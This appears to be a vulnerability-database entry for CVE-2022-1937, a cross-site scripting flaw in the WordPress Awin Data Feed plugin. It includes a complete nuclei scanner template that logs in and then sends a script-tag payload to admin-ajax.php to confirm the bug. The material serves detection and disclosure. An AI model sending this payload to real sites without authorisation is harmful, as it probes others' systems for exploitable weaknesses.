HexBrain

Browse / CVEs / CVE-2022-1937

CVE-2022-1937· awin / awin data feed· CWE-79

WordPress Awin Data Feed <=1.6 - Cross-Site Scripting

mediumseverity
6.1CVSS score
1.8%likelihood of exploitation, next 30 days
79%of all CVEs are less likely
Readycheck to confirm it

WordPress Awin Data Feed plugin 1.6 and prior contains a cross-site scripting vulnerability. It does not sanitize and escape a parameter before outputting it back via an AJAX action, available to both unauthenticated and authenticated users.

Impact

Successful exploitation of this vulnerability could allow an attacker to execute arbitrary script code in the context of the affected website, potentially leading to session hijacking, defacement, or theft of sensitive information.

Fix

Update to the latest version of the WordPress Awin Data Feed plugin (1.6 or higher) to mitigate this vulnerability.

How to confirm it

Send: POST /wp-login.php ; GET /wp-admin/admin-ajax.php?action=get_sw_product&title=%3Cscript%3Ealert(document.domain)%3C/script%3E
Positive when: contains(header_2, "text/html") and status_code_2 == 200 and contains(body_2, 'colspan=\"2\"><script>alert(document.domain)</script></th>')

Run it with nuclei: nuclei -id CVE-2022-1937 -u <target>

The full check
id: CVE-2022-1937

info:
  name: WordPress Awin Data Feed <=1.6 - Cross-Site Scripting
  author: Akincibor,DhiyaneshDK
  severity: medium
  description: |
    WordPress Awin Data Feed plugin 1.6 and prior contains a cross-site scripting vulnerability. It does not sanitize and escape a parameter before outputting it back via an AJAX action, available to both unauthenticated and authenticated users.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to execute arbitrary script code in the context of the affected website, potentially leading to session hijacking, defacement, or theft of sensitive information.
  remediation: |
    Update to the latest version of the WordPress Awin Data Feed plugin (1.6 or higher) to mitigate this vulnerability.
  reference:
    - https://wpscan.com/vulnerability/eb40ea5d-a463-4947-9a40-d55911ff50e9
    - https://nvd.nist.gov/vuln/detail/CVE-2022-1937
    - https://github.com/ARPSyndicate/kenzer-templates
    - https://github.com/cyllective/CVEs
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2022-1937
    cwe-id: CWE-79
    epss-score: 0.01833
    epss-percentile: 0.79081
    cpe: cpe:2.3:a:awin:awin_data_feed:*:*:*:*:*:wordpress:*:*
  metadata:
    verified: true
    max-request: 2
    vendor: awin
    product: awin_data_feed
    framework: wordpress
  tags: cve,cve2022,xss,awin,wpscan,wp-plugin,wp,wordpress,authenticated,vuln

http:
  - raw:
      - |
        POST /wp-login.php HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        log={{username}}&pwd={{password}}&wp-submit=Log+In&testcookie=1
      - |
        GET /wp-admin/admin-ajax.php?action=get_sw_product&title=%3Cscript%3Ealert(document.domain)%3C/script%3E HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: dsl
        dsl:
          - 'contains(header_2, "text/html")'
          - 'status_code_2 == 200'
          - contains(body_2, 'colspan=\"2\"><script>alert(document.domain)</script></th>')
        condition: and

References

Use this check only on systems you are authorised to test. Where the data comes from